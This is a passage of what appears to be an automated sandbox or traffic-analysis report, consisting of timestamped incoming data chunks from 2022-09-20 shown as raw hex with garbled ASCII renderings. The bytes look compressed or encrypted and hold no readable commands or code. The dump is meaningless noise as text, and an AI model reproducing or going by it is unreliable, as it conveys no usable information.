a4 b8 7f 6a 7a 22 d3 7d cf d7 ac 9e c8 8e d5 77 7d a5 1a 3d ee 13 4f 30 ae f5 aa f4 71 7d e7 60 ed f4 fd 4d 3f 91 7d 20 35 
34 dd 2f a6 40 8d c0 fb f6 f7 8b 10 6c b2 44 5d be 07 e4 1c 41 1e 05 e9 2a c8 5a 90 f6 82 44 29 5e 82 d4 11 d9 c2 db 8d 
fa 19 b4 12 38 af a7 99 55 b4 5e 37 27 5d ab 68 2d 6e 4e 06 81 44 05 19 0b 12 17 24 08 d2 4b 5c 7d 2e 88 5b 90 bb 40 
3c 82 ac 00 89 7d c8 cf b3 9e 8e da ca c9 9b 20 e1 8f 
Data Ascii: MO7vcF+jj7zAcwSawn\d_btFh>%!nl0oy_n}w_mm7DT-ul1^+ojz"}w}=O0q}`M?} 54/@lD]A*ZD)^8U^7']h-n
ND$K\}.[@<} 

2022-09-20 10:10:08 UTC 3325 IN Data Raw: 45 43 aa 8c 6a 7a 26 5c 17 ad dc 7e b2 35 5f 64 91 e3 9d 18 d9 56 be e5 44 2b 4f 2b 0f 8e 75 5c 93 99 86 68 
a4 6e cb 7f 7e bf 17 65 e2 77 e8 18 3e 06 f1 de a9 65 1d a4 62 86 96 57 20 e1 99 5a 76 c8 52 11 7b e4 33 b5 cb 5e 24 4e 
ce 35 1f 47 a1 22 df ed 72 33 aa ce 27 a7 e5 93 9e ed d4 45 e4 3f 2e 33 23 ef 29 ce f5 66 8f df 5b 91 9f 5a 5a d5 15 c5 8f 
24 aa 77 e5 8f fc 57 28 13 ba 42 f7 51 c7 20 91 3e 8e df 02 ee 32 63 78 99 f1 5f bf a2 68 c5 b0 a2 86 7d b6 2f f9 a4 67 3b 
75 11 c3 83 e5 d5 5f 51 fc ab 8e 61 15 57 14 4f 7b 09 23 87 bb f3 f7 51 67 a3 4c fc 6e 7d 76 68 05 f1 cd 32 25 38 f8 ca f4 
a4 7c 91 fb 74 ae 5e 83 32 d1 d9 a6 48 99 71 65 25 25 15 73 74 99 91 b2 9e fb b5 4c 96 ba e6 6a b9 0f 52 f1 20 7d b7 82 
f8 1f a6 51 ae ac 67 be 96 6d 90 30 c9 27 90 c8 
Data Ascii: ECjz&\~5_dVD+O+u\hn~ew>ebW ZvR{3^$N5G"r3'E?.3#)f[ZZ$wW(BQ >2cx_h}/g;u_QaWO{#QgLn}vh2%8|t
^2Hqe%%stLjR }Qgm0'

2022-09-20 10:10:08 UTC 3333 IN Data Raw: 7f a5 96 7f ca f6 ac d2 f2 93 ac 2b 46 67 7a c7 63 d4 fa 52 4b 07 48 78 ad fb fa 34 e6 b4 e9 20 54 d3 49 ff d6 
b3 af 88 d3 a6 72 27 b9 5b 4a 9c b4 69 65 16 6d 3a d7 69 d3 2a 84 b6 e1 75 35 b5 e9 06 6a d3 8a 94 39 59 cf 43 36 fc eb 
9a 3f fb 9a 31 4d f7 af cb f0 ae c0 3a 9d 55 39 fb 0a 51 4c 2f c4 04 29 46 ce be fa 50 cc 5d 88 09 51 8c f4 e5 8e 14 33 12 
31 e6 3a dd ca 0f 41 bc eb e9 3a 0e 62 7d ad c5 82 c4 be d1 f2 21 24 b1 41 cb 8f b2 17 9b b4 b4 69 83 75 6d d6 db d3 11 
62 91 9c 0d 89 93 5c 02 31 be d7 e2 87 78 49 6e 81 04 48 06 cb ba 48 2a 20 11 92 c9 90 28 c9 6c 48 82 e4 ef b2 ae 1f 
b4 ac 82 f8 49 b6 41 82 24 87 20 61 92 b6 6d b1 2e 92 ae 90 38 c9 a5 10 63 8b 96 be 10 93 a4 58 96 b3 55 cb 24 48 70 
9b ce f3 5f 20 91 5a 1d b3 58 62 ea 74 4c 0c e2 df 4d 7b 
Data Ascii: +FgzcRKHx4 TIr'[Jiem:i*u5j9YC6?1M:U9QL/)FP]Q31:A:b}!$Aiumb\1xInHH* (lHIA$ am.8cXU$Hp_ ZXbtLM{

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 3341 IN Data Raw: 2d ff 3e 5b 1b cf e6 1f 7f 4e 1d d3 7f 58 f6 d9 fc 91 35 ea 98 f2 fe 2a 3f ca 98 76 ff 65 e5 31 8d b8 57 7e e7 e4 
2f f2 4a b2 c5 bf 59 fe de 83 e1 dd a4 9b 5a 79 4c 77 6d b3 f4 6b 10 ad c7 f4 83 17 aa 63 fa cd 55 4b ad fc ca 98 1e 72 aa 
3a a6 91 25 6f 47 19 d3 d9 ad ea 98 de b4 e4 36 8b ef 98 e9 57 1e d3 1f 66 d4 31 fd 8d 6e b9 eb 37 7a db 18 af a2 7b e5 
77 bf 0f db a8 8e d7 4d d7 6c 6f 1d af dd 64 6d 63 bc ac 8d f1 7a 1b b7 d1 78 bc cc 03 ea 78 e5 96 1d af 7b db 18 af 53 02 
ea 78 ed 58 72 9b c5 77 69 da 18 af e7 bf a5 8e 97 72 af 97 1e 2f 7b 1b e3 d5 7d c9 ca d7 db 9c d4 18 af 6b 37 07 7d 9b 
5b ff f9 4b f7 13 e5 ac b2 8d f1 f2 36 c6 eb d1 7d 5b ff bd 40 eb f1 aa 5e ac 8e d7 67 44 8b 9f bf 55 c6 eb c8 f5 ea 78 59 96 
7d 2d fc a5 c6 78 9d 73 e8 52 db 2c be 
Data Ascii: ->[NX5*?ve1W~/JYZyLwmkcUKr:%oG6Wf1n7z{wMlodmczxx{SxXrwir/{}k7}[K6}[@^gDUxY}-xsR,

2022-09-20 10:10:08 UTC 3348 IN Data Raw: f2 63 8f 0a 39 e4 93 f2 6c 99 c6 ed 3c 2b e4 f0 8f c8 db bc 22 e4 e6 df c8 7b fe f7 42 ee af c8 f3 b0 db a1 fc 55 
74 79 6f 1c 23 24 dc b4 7f de e3 68 6d 9d 29 c4 5b 97 6f e7 72 21 3b 93 f2 63 ff a8 90 7f 3e 55 96 71 21 81 d7 e5 11 7c 
44 b9 9d bf e8 a5 b5 f7 ab 42 1e 7f bb fa 28 94 55 f4 1a df 36 9d ab 69 2c 5e 16 db a4 9b 9e cd e7 85 14 9a 9e cd f7 39 a7
4b f7 46 d3 b3 f9 71 42 ee df 21 cf 84 b3 84 7c f5 84 c6 79 d4 f5 9b af bf 26 70 b3 2e d6 d4 f2 88 6d 66 f7 95 6f 67 bb 90 
2f df 2f 1f 71 77 0a 49 5d 27 df f2 a3 42 ea 4d f7 f0 db 42 2e be 58 1e 9d d7 84 7c f8 5f e4 d1 79 53 c8 f5 bf 93 67 c2 51 ef 
15 8f 62 87 3c 9f d7 0b 71 74 cb b7 7c a9 90 0d ef 90 67 cb 16 21 1f ec 97 8f af db 85 24 ff 4d 7e 2e 78 58 c8 13 d7 ca f2 
9c 90 13 ff 2c 9f 59 15 85 28 ff b9 
Data Ascii: c9l<+"{BUtyo#$hm)[or!;c>Uq!|DB(U6i,^9KFqB!|y&p.mfog//qwI]'BMB.X|_ySgQb<qt|g!$M~.xX,Y(

2022-09-20 10:10:08 UTC 3356 IN Data Raw: c2 3b 2c 46 58 da ff c4 ec 29 1d 1e 18 6a 9d 23 e5 ab 1a 8e 49 a8 ca 3d 8a 8d 20 be 7d 38 9e bb ec b0 0f a9 
17 24 7b 25 5f 6b cc 0e 73 3e 3e e7 9f 9f 20 75 64 f5 a1 2d 10 b7 5c 7e 73 d9 07 19 96 c0 72 1e 72 46 e2 39 d3 fc 55 43 
ae eb 8a c6 bd 59 d3 a9 e0 98 8f 20 75 c6 cb ea 5e 90 1e f3 39 05 fb c6 d9 87 62 08 e4 bb 9f 38 2d 26 43 5a 3a 4a 2f 16 
c4 c3 8d eb d5 38 c8 e3 a9 1c 3f 67 20 09 1b f8 49 9d 0a 89 91 95 78 73 21 29 f2 44 73 88 c7 d3 41 5a dd 8d 21 e7 e5 19 
d7 15 f2 4a fa a8 87 40 86 ca 9b ef 64 48 ab 42 1c f6 65 e6 99 3b f1 99 e3 21 41 a9 b6 55 29 5e cf 79 1c 64 b7 2e d6 19 
1c 53 c2 d6 83 e7 39 d8 df ec d7 6a a2 31 f6 10 c7 5c 91 5a 34 0f 72 4b de 4a 2a ec c4 5b 80 8c 90 6c 06 e9 e6 c5 4f 90 
1e 90 72 c5 b8 74 0f 83 5c d8 53 54 ee d0 db a8 20 77 38 
Data Ascii: ;,FX)j#I= }8${%_ks>> ud-\~srrF9UCY u^9b8-&CZ:J/8?g Ixs!)DsAZ!J@dHBe;!AU)^yd.S9j1\Z4rKJ*[lOrt\ST w8

2022-09-20 10:10:08 UTC 3364 IN Data Raw: 70 ed ee f8 d1 a5 71 dd 37 a0 5b a7 18 4d 61 79 dc 48 b7 45 12 c9 8c c9 dd 0c 56 99 1e 33 ce 96 8d 56 f4 81 
80 18 50 63 66 1c 8b 12 a2 79 33 2a 1d 8e 51 89 c1 e7 5e 6f 27 8b 66 9a a5 74 cd 23 ce 71 19 d2 d8 2c db 73 04 2d 17 
b3 b4 5b e4 f0 be 9e 6e bb 66 f3 01 d4 f0 a4 19 50 99 31 9d 21 1b b1 99 9b 06 ca 66 45 fd 5a ab 69 81 0e 95 d2 c9 ae 49 
68 89 a2 d0 b7 13 8d 3c ff 48 f4 39 8b fe 6c 53 3f 6d 9e 6d 57 8b e6 5d bd 00 ee 9b 1b 23 a6 c7 56 18 d3 00 ed 77 7c a8 
ba df ae a6 1b 0e 18 e5 a4 c7 bd 07 92 99 9b ba 7a 34 8b 7e 53 c1 be 86 19 da 34 dd dc cf f0 d0 f2 26 ca 74 62 e3 fb 28 
46 25 5b dd c7 20 a4 e3 b2 19 b2 f9 ed e2 ee fc b5 29 63 fb ce 2f 56 70 18 2f 1a bf aa 41 8e 20 fc b0 9d a1 93 c3 3e 19 6c 
9d b8 39 0b 75 03 9d 0c ed d4 4e be 5d 4f 5d 42 46 8c a4 
Data Ascii: pq7[MayHEV3VPcfy3*Q^o'ft#q,s-[nfP1!fEZiIh<H9lS?mmW]#Vw|z4~S4&tb(F%[ )c/Vp/A >l9uN]O]BF

2022-09-20 10:10:08 UTC 3372 IN Data Raw: b6 70 97 82 b5 bc d7 dc 0d 83 d7 dc e9 b7 d7 dc 6d d0 6b ee f9 b4 5c 36 9f 9e bd a8 3e 3f ae f6 86 f8 9d dc ea 
da fc b4 d7 41 f1 26 b8 bb ca 8d 05 f6 89 b9 e2 27 80 60 97 61 53 82 d9 0c 07 e4 27 6e 7a a1 12 67 f6 82 5c d8 90 1d 84 
b9 a5 9c 36 01 16 24 c7 3c 3e e8 bc 1e 5a 46 ef 90 ce a6 c7 c3 d1 08 25 0e b3 94 f8 72 ee a2 87 00 2a 5b f6 21 65 9b 34 
0b ce bd e1 81 8b 17 5a 6c 83 ae 20 dc cf 2f c3 cf 39 63 f0 ef 7d 7b 84 77 1a ee bc d1 84 b9 ef 46 5b 96 10 b2 d6 29 f3 06 
6e 43 db f6 b4 cf 5d 7c c2 5d df b9 10 8e 5b 17 60 cb 2d 07 a1 fa 23 a1 b9 c8 d0 fb 6c 8b 20 3a a6 f1 0f 88 31 ce 1c 4c 2e 
eb a2 de c5 3c d7 e5 28 b8 c2 8f 3a 60 f0 20 97 23 40 0c de db 79 84 1c 0e fc b4 f1 c0 39 25 82 ad 61 07 93 68 8e 08 13 
35 64 f2 24 ad a4 23 a2 28 05 a9 8c d2 d4 87 c4 
Data Ascii: pmk\6>?A&'`aS'nzg\6$<>ZF%r*[!e4Zl /9c}{wF[)nC]|][`-#l :1L.<(:` #@y9%ah5d$#(

2022-09-20 10:10:08 UTC 3380 IN Data Raw: aa 85 ec a6 8e df e7 79 df 46 43 01 0e 23 e4 48 70 4f 1b fa 2a 88 b7 7a 65 cd 1c ba c6 e5 5b 6e 61 12 66 92 
b0 ac f7 dc 09 19 57 16 b0 54 f5 f7 f9 db 59 1f 73 c9 f9 c4 2d 1c 77 e3 da 51 26 7e f1 e9 db 43 46 b7 88 94 36 00 fa 2d 89 
90 98 51 10 76 a9 dd a1 88 89 5e 12 18 9d d3 ab a4 90 c9 2a c7 97 3e ca 3d 92 77 72 33 54 40 d5 d6 14 c0 9d 97 49 8a 
9c 02 b1 43 6d ba 61 26 1d 70 22 9f 81 97 71 9b e0 73 30 6b 78 df 83 9c 39 45 7d 75 57 e9 67 ae 2b 87 95 b8 48 31 0f ef 
62 1f c8 e2 66 54 a6 a4 74 4b 50 64 92 21 65 f6 78 24 1e 75 9e fc c6 8d 24 65 c6 bb a7 25 43 3c dc d0 94 72 d4 e3 89 e8 
8c 28 19 29 29 d2 f4 bb 21 b9 c8 0a 31 95 a7 e1 12 6a 22 41 19 c9 be 68 90 36 96 ec 57 21 86 f7 5a aa 53 f5 fa c7 d2 28 
7c 80 bc b4 92 1f 48 27 db 49 7b ba ed 37 ed 32 37 80 73 
Data Ascii: yFC#HpO*ze[nafWTYs-wQ&~CF6-Qv^*>=wr3T@ICma&p"qs0kx9E}uWg+H1bfTtKPd!ex$u$e%C<r())!1j"Ah6W
!ZS(|H'I{727s

2022-09-20 10:10:08 UTC 3387 IN Data Raw: 8e 29 98 3b 5d b8 db b4 52 ce 6d 7a fb 58 c2 24 1f d5 ef b3 cb fa 70 58 44 c9 f1 73 4c 76 20 47 71 7d 38 0e a3 
c5 61 34 8a 18 8f 1f bd 0c f3 72 44 a4 f5 2d 1e e4 92 91 c1 a7 57 97 2f ec d3 dd b8 6b 98 40 7d 84 e1 06 b2 43 70 7d 42 
26 cc b4 f0 74 04 dc e7 b5 cb 0f 8e d9 57 07 c9 de 5c 92 dc 56 b2 d3 8c 45 52 74 ab 54 16 11 d3 93 25 64 bc a2 9c 0c 77 
0b 97 28 6b b8 16 d0 4c a3 28 88 35 75 94 81 7f cb 9c 83 e3 a9 51 42 c6 71 02 53 d4 9b d6 70 5f 16 cc d3 20 6a 13 c7 c4 
33 05 d4 f0 38 0a ad 4a ab 1e 8e d6 60 96 6c bd 9f 4f 1f c6 cd 4a 27 bb 7a fa 2d 29 c3 e8 b5 47 fa ed b7 a0 6c d0 6f 3d 
41 8f 02 9b 00 d3 57 ce 5f 9a 8e 4b 86 0c 28 8c 0d 09 9e 0c 93 08 9c 4d 49 84 9c de bd 7a 79 15 47 e6 dd 50 52 a0 bf a6 
48 cf 8d fb 2c 36 cf 60 68 22 d5 cf e1 79 64 5a 80 33 
Data Ascii: );]RmzX$pXDsLv Gq}8a4rD-W/k@}Cp}B&tW\VERtT%dw(kL(5uQBqSp_ j38J`lOJ'z-)Glo=AW_K(MIzyGPRH,
6`h"ydZ3

2022-09-20 10:10:08 UTC 3395 IN Data Raw: 48 b2 d7 46 fe c2 db f0 51 8c ea fd d4 64 bc 9c 60 c9 4c fe 18 c0 56 1b 1b 42 d5 b4 13 4c c4 00 d8 e3 e8 59 36 
fb 7a 94 0b 41 f5 c0 55 2d cc ad 8e 3b 86 60 06 5a f6 8f 90 a6 49 ca 34 44 3b ab d7 60 f8 44 fc 8e c4 28 78 14 8f 57 d3 
eb c0 fd 80 4e 5f f1 53 45 29 64 93 35 73 d0 0d 5d 96 3e ab aa 9d d0 3c 38 49 a0 e2 b1 f3 0c fc 85 3d 33 8d db 6d cc 48 
7a 86 ca c8 b3 83 fd fd d1 fe ce b3 0e 2f f3 39 95 80 66 55 d2 0c 60 de d9 ee 1d ef 56 d8 e9 c6 30 16 1f de 55 f3 2d 2e 6d 
80 b4 3f d2 48 47 c7 6a 24 35 b9 a3 63 3d b9 7d bd 10 bb 6a ac c1 e0 60 3f 4f 3b bb bb ba a9 5e c1 a1 78 85 9c c7 c3 43 
35 91 fd 81 52 17 33 55 57 74 81 d3 28 63 2e 6c a6 fe d7 ed 6c bb a8 3f 41 c5 f1 e4 9b 7b 98 ca c1 81 96 fe 50 6d a9 c1 
ee e1 50 a3 1d 68 0d 8c 85 00 9d e4 45 d3 f5 9b 17 
Data Ascii: HFQd`LVBLY6zAU-;`ZI4D;`D(xWN_SE)d5s]><8I=3mHz/9fU`V0U-.m?HGj$5c=}j`?O;^xC5R3UWt(c.ll?A{P
mPhE

2022-09-20 10:10:08 UTC 3403 IN Data Raw: 80 42 06 90 67 fe 85 6e 66 25 e4 bf 60 c1 4a ab e0 b3 e1 40 d7 17 0b 3b e5 05 b7 9b a5 99 b8 70 e2 74 a0 09 
f5 fc bb e4 4e 31 2c 1c 2a e8 85 d7 f7 57 86 85 d3 a1 c2 03 24 66 8a 2e fa dc ad aa c5 b4 9a 9a 01 b1 06 af b3 74 e1 04 
9c d6 92 86 f3 da 10 bc 6d 52 e9 49 e2 82 b0 28 18 8a eb 5f 43 39 40 8b ee bf 53 07 2a 6c 57 69 42 c0 6d 8f f4 cc 80 b7 
b0 91 57 78 da ce 2c 6a 0a 4f 7c e8 16 a9 fa 42 76 5f 3f e5 df d7 0c 0e e4 f5 f0 77 75 b7 aa 17 e1 7a f8 a8 60 ed a4 dd 25 
c9 f8 49 2f bd 78 34 28 dc c9 55 97 03 a0 9a 15 3c 8e 14 0e 2b f6 0a b6 b1 7b 85 85 c9 6e a9 cf 15 55 af db 74 4c 90 6d 
5d b8 d6 88 9b 4a 05 bb b8 d2 5b 12 a5 77 b5 0a ab 3c cd 07 2d 5f 18 fb 73 7a 5a 4f 91 7b 69 b9 96 1a 14 6e 7a ee ea c6 
07 05 87 24 85 8f 57 78 b0 50 17 dd fb 05 d1 7d 54 f2 
Data Ascii: Bgnf%`J@;ptN1,*W$f.tmRI(_C9@S*lWiBmWx,jO|Bv_?wuz`%I/x4(U<+{nUtLm]J[w<-_szZO{inz$WxP}T

2022-09-20 10:10:08 UTC 3411 IN Data Raw: c7 8e 25 6e 42 eb 79 38 31 33 ec 3f 06 ba 7b c4 bb 57 10 3c 5c bf c2 0c f9 87 bd 7b 8d 85 5d 01 c1 ad 70 25 
b4 b5 f7 b0 87 49 3e 5d 51 a1 0a 06 2b b2 aa 5b 83 89 b5 0d 80 ac aa 11 15 d2 29 68 b1 35 b4 e9 61 85 0c c3 b8 22 82 
7f 8c a9 b6 c9 14 5e 24 ac 93 85 76 c7 7d b2 c7 c3 b2 c7 c7 6a 2a 87 15 e2 fa 74 41 35 76 77 d8 96 e0 c7 40 7c 8b ae 88 
2d 95 2b d9 aa 3b ca 50 8f 3c 80 76 d0 be 34 a7 19 eb 06 28 e0 96 d2 76 22 fa b0 c8 89 b9 61 10 44 4d e5 3e 54 7e f7 81 
1a e7 03 6f 8f 3f 2a fe fa 11 56 25 cc f7 15 ee 81 6b 72 a4 1f 8e 44 cb c1 14 d1 72 f5 fd 26 b5 55 08 f2 c4 c3 22 58 14 a8 
17 9b 9b 58 09 4f ef 76 19 89 69 0a da 70 90 0d 2d 6e be c0 e5 dd 59 8d 1b 4b 41 57 7f ce b8 05 42 5f 08 1b 27 fb f9 dd 
e3 c7 30 02 a8 ee 66 2c 11 c5 15 d0 8f 0b 32 c6 68 da ef 
Data Ascii: %nBy813?{W<\{]p%I>]Q+[)h5a"^$v}j*tA5vw@|-+;P<v4(v"aDM>T~o?*V%krDr&U"XXOvip-nYKAWB_'0f,2h

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 3419 IN Data Raw: b9 c3 40 4e c7 cd 76 40 70 28 ea 8b 5d 63 4d d3 93 8c f5 72 f8 dc 33 b9 e4 7c 2d b3 16 d7 63 28 32 b8 ea 21 
5e de 50 4b de 95 e0 f9 80 02 56 2b 2b b5 11 a1 d9 ad 3c 31 57 89 c1 63 1b 4d 82 e5 ae f9 8f 44 73 79 97 50 fa 78 18 3e 
1f a6 e3 c5 dc ef 94 b9 a3 ab 57 95 fe e5 82 3e cb e8 7f 79 42 c1 ea 1c ca f7 a2 a9 d0 29 b9 fd dd 01 bf 38 c7 ae 98 aa ea 
ec 60 de 59 e7 76 de e4 e5 55 f2 5b c5 05 b8 56 23 cc fe 07 ea fe 29 7b 10 e8 d1 0d 04 8a 12 1f 2f 91 f8 58 37 8b 7a 91 
3e 20 0f 5d 07 2e b3 18 da 5f 7a b6 bf 68 59 56 9a 5e 3e f4 70 2f 3d 5b f8 8c 21 cd 28 0d ef 95 c5 2c 96 38 34 c6 e0 62 10 
00 13 18 31 43 0d aa b8 93 ba 15 89 c8 f8 c9 a5 54 b7 c0 6c 0a 42 4c de 56 c5 3b a0 ae 38 e6 07 03 38 32 91 d8 c5 fd 89 
c7 f1 43 05 ca aa da 7d 67 ca 61 e6 71 18 a5 7a 7e 
Data Ascii: @Nv@p(]cMr3|-c(2!^PKV++<1WcMDsyPx>W>yB)8`YvU[V#){/X7z> ]._zhYV^>p/=[!(,84b1CTlBLV;882C}gaqz~

2022-09-20 10:10:08 UTC 3426 IN Data Raw: 11 0f 57 4b b2 e5 e6 9f 4e fb 4c ba 31 d0 7b f2 a4 c0 ca 62 db 59 5f 95 a9 a1 ec 3a 92 e5 f1 29 3b 96 8a 94 cf 
00 95 65 ff 35 29 da c6 94 12 ce 24 bb d2 96 28 9e 66 03 8d ae 22 91 2a ba 74 95 86 69 f8 01 07 37 9c db ae b3 eb df 08 
25 99 b5 01 83 9d 6d 88 2a 61 53 c5 ec 93 8c 44 d1 7a f1 72 28 0e ae 6b a1 42 9d 18 64 ee 14 54 ea 98 92 55 4d 3c 5a 
5b 5e 36 e6 65 67 55 af 19 1a c9 ee bc 66 71 26 b5 0f d4 5f d4 7f 25 c7 f8 a1 51 be 05 2b 65 68 e7 f9 13 91 cd e3 e4 69 
b2 2f 2c 4b d8 88 2a 4c cb 97 d3 4f 81 e4 be f4 cb 04 eb 6f 87 a4 24 a2 d3 bc ce 07 fa d0 5e 5c 5b 04 4c ab cb 96 f3 6c 5c 
0e cc cf b4 32 5e 42 56 1c d5 85 ab 94 c2 98 bc 1e 51 4f 50 bc 4f d1 4a 2c 2f 2a ed bb 2d 76 b4 53 e0 f6 60 18 79 d2 88 
90 36 40 48 35 4f 8d 93 26 02 35 99 50 3b 29 4d 14 40 
Data Ascii: WKNL1{bY_:);e5)$(f"*ti7%m*aSDzr(kBdTUM<Z[^6egUfq&_%Q+ehi/,K*LOo$^\[Ll\2^BVQOPOJ,/*-vS`y6
@H5O&5P;)M@

2022-09-20 10:10:08 UTC 3434 IN Data Raw: fe 9a 71 cd 8b 4d 9c 53 c9 c3 b4 ff ba 49 2f fa bb e1 55 d0 98 8f 39 73 46 a9 e7 8a 33 c3 4a 2c 61 a9 75 60 5b 
ba 37 c5 88 25 94 5a de b3 b4 54 c6 d6 90 97 96 98 ee af d6 44 47 04 f0 ce b0 c6 d6 f8 6a 68 7c 5a 70 fb 67 4c f0 91 cb 
83 34 18 9e 89 ef f2 1c ba 9f e4 65 28 fd 83 77 4a fa 57 89 2c 0b 31 de ba 13 24 50 17 14 9c 57 8d 7e 7b 89 1c 7d d8 1c 
fd 17 ab a3 47 9f 6d 1b 7d 24 c1 e8 df 3b a9 ee f6 7b f7 45 22 12 41 8d 0c aa 08 e9 53 01 31 3d 43 93 d4 ee a9 a9 56 6a 
f0 91 4b 74 be 44 67 23 ec 71 18 62 80 72 81 06 ca 8f 9f 94 a0 bc 2a 59 08 fc 3b 33 8c d9 81 f3 4c 24 25 f7 e5 9d 0f 99 b0 
7b f3 4d 82 82 2f 0b 46 9b a0 74 63 8e 00 dc 91 e6 16 5f 23 42 af af 89 a6 d9 ac ed 4f f8 21 b9 3f cd e6 fe 5c ff 60 f4 fe dc 
6e db 9f ec 8b e2 ef 4f ee a7 d0 0d 9a a0 bc 
Data Ascii: qMSI/U9sF3J,au`[7%ZTDGjh|ZpgL4e(wJW,1$PW~{}Gm}$;{E"AS1=CVjKtDg#qbr*Y;3L$%{M/Ftc_#BO!?\`nO

2022-09-20 10:10:08 UTC 3442 IN Data Raw: 7d 02 ab e1 a5 8d fc fb 7e cc b8 0e ad c3 29 8f 52 6a c3 ea 01 a9 40 3c 18 9f 1c 8c ba 37 04 92 54 57 24 6d 
a4 0e f1 69 2b a1 f2 93 59 d6 d1 8b 21 89 7c 30 3e 80 ac 64 99 fc 3d e5 c9 0d 73 fb d3 43 8f e9 61 1e 3c 94 9b 59 e3 b1 
d7 ac e4 7a 47 b4 30 18 cd e9 0d d1 9d 86 8e a9 d4 4a 85 1a b8 fe 88 96 1b 9e cd 78 8b 13 fb a1 b2 fe ae a4 6d 1f b4 8f 
3d ea e3 3c fd 63 53 df 8a e4 e7 fc 80 7f e0 d5 7f 60 66 7c 5e 30 a8 a4 9b 5c 0d c1 4f 9e 1f ff e9 e6 1b 3a 78 c3 35 78 9c 
bd b3 da a7 04 e2 66 2d ea 39 97 b8 e4 36 e6 92 88 03 97 ac c7 4a 7a 04 b1 1d 4b b6 01 e8 60 75 1c bd b3 be 1b ec b3 
10 b6 02 d9 8e fe 1e 71 dd 3b cb 8f f3 38 f5 8b bd b3 8e 84 5c 59 ce 06 b2 d1 9a 3e 34 fa 4c 1d 77 a8 b8 34 70 c4 1e 4c 
43 1f c0 dc 48 60 82 91 22 e3 e8 0d b7 06 e4 9d 45 d8 53 
Data Ascii: }~)Rj@<7TW$mi+Y!|0>d=sCa<YzG0Jxm=<cS`f|^0\O:x5xf-96JzK`uq;8\Y>4Lw4pLCH`"ES

2022-09-20 10:10:08 UTC 3450 IN Data Raw: a8 a3 44 89 36 4a 24 a8 a9 46 0d 1a 30 86 0c a5 35 d8 a0 a4 28 9a 16 59 8b 54 d4 a5 76 a2 e2 42 02 26 ec 
27 b3 e3 ec a6 ba ac e0 a3 1a f0 d5 2d b4 50 14 59 15 4d 30 92 2c a5 db f0 50 a3 c6 dd 59 99 ae 37 cc b4 8e 25 2a 98 c7 
f4 fc 7e bf 73 ce 3d 77 32 13 b2 e5 8f 64 ee 3d cf df 79 dc f3 f8 3d be bf ba 90 65 5a 71 2f 52 60 22 05 c0 e2 09 23 ec 36 
5b 47 c4 d4 17 9b b8 f7 43 87 80 08 05 e9 4b 34 86 00 0d 81 8b 50 37 85 d7 1d 4f 53 37 a6 35 d2 80 3e 00 0f b9 09 b4 57 
fd f1 26 3f db 47 fd c9 56 33 1b 61 d1 c7 86 bc eb b4 59 39 cb 20 ac 21 32 25 d8 76 e8 68 b0 8b 5c 2b a3 06 c2 a8 0a c8 
3b d5 02 ca 4e b5 80 35 a7 5a c0 e2 53 2d e0 b9 53 2d 20 72 aa 05 b4 9e bc 00 27 16 30 c0 52 b1 3f 16 be 46 2b cb 59 
96 31 ee 3a 19 07 15 e3 79 dc 65 dd 06 7e c5 be 98 26 ff 10 
Data Ascii: D6J$F05(YTvB&'-PYM0,PY7%*~s=w2d=y=eZq/R`"#6[GCK4P7OS75>W&?GV3aY9 !2%vh\+;N5ZS-S- r'0R?
F+Y1:ye~&

2022-09-20 10:10:08 UTC 3458 IN Data Raw: d9 4e 81 50 33 93 75 e0 96 38 3f 36 6a 1b 66 97 31 eb a0 2e 48 fe 23 de dc 44 82 4f fe 00 e3 5d 9b 39 c8 80 
dd 0c 04 fe 1a 9f d4 81 5c 3b 0a 3b 30 0a 2a af c0 a9 49 e2 88 1b 48 ae ab ab 82 07 95 f6 ae 68 2c d2 92 40 24 fc b7 a1 
f2 21 8f 8d d2 d0 91 d4 41 9f 9b 8f 0a 19 f8 fe 7c c3 8a 2c 07 0d e6 9e 47 6b 7e e4 be 53 58 cb 77 b6 df 65 56 39 80 6c 
aa 0f 89 36 f4 d8 07 12 6f ba f5 d9 a8 3c d6 22 8c 22 4f 4a b8 b2 56 82 72 80 4d 6b ba 1e 26 10 ba b9 7d 52 8b ce 64 78 
4e 6e 7a dd 90 84 3c 3d ff c7 10 cd 9f 50 ac 07 bb 86 d6 ab 11 ac 3e 42 89 84 b1 7f 03 6c 57 9b 95 b0 30 b5 60 e9 8d 42 
e3 eb a8 17 49 15 36 07 1a a5 59 e1 4c 26 a8 ce f2 88 f7 22 f0 18 76 26 93 44 ec fe e4 04 a9 6e ab ce 0e b1 69 00 7c 36 
cc 15 26 7d 5a 38 8a 54 f0 61 f0 d7 d2 86 6e 6d 01 bf a7 
Data Ascii: NP3u8?6jf1.H#DO]9\;;0*IHh,@$!A|,Gk~SXweV9l6o<""OJVrMk&}RdxNnz<=P>BlW0`BI6YL&"v&Dni|6&}Z8
Tanm

2022-09-20 10:10:08 UTC 3466 IN Data Raw: ab 38 83 a5 9c 7c ac 6c e8 29 31 58 50 9f ca eb 42 44 13 28 37 9d 3e 7b 87 0d 08 ef bf 99 5e 44 84 15 ad 66 
b8 f0 f8 ea 3d 91 a8 f1 21 7a f6 88 20 14 a6 b0 fa ef dc 67 4c 62 74 86 40 64 97 e5 e1 d8 62 02 b1 49 7f fb 17 b3 85 bf 7d 
b7 61 a5 fe f2 c2 f8 39 6a 7a 8c 95 fa 86 f4 e4 73 d4 81 e7 28 4c 31 78 28 04 dd c7 01 e4 a6 7f 04 fe 75 1f 2f 83 d3 1f d3 
e0 4a 3a 98 60 3e 95 d6 8f d0 ca f5 01 d4 18 67 89 33 f4 b4 90 be 23 bc ff 27 96 94 c4 98 9c a9 cf 7a 6e e0 c3 8b 13 9c 
1b 98 90 a0 1f 73 62 fa 31 2f 45 3f 9c cf 45 79 32 28 23 e3 e3 61 85 6f ef 67 f1 83 46 90 68 36 74 80 4a 51 24 42 09 0f 99 
00 97 d2 cd 12 4e 1f 10 ee fd 89 5e eb c7 90 09 c9 00 e6 bb fb 96 6c 15 ed 5a 4d b5 a2 47 f3 b8 f6 f0 50 8a 1e dd ec 13 
3d 4a 86 05 77 59 9d 7a 01 57 83 ec 27 ad 4a 8f 
Data Ascii: 8|l)1XPBD(7>{^Df=!z gLbt@dbI}a9jzs(L1x(u/J:`>g3#'znsb1/E?Ey2(#aogFh6tJQ$BN^lZMGP=JwYzW'J

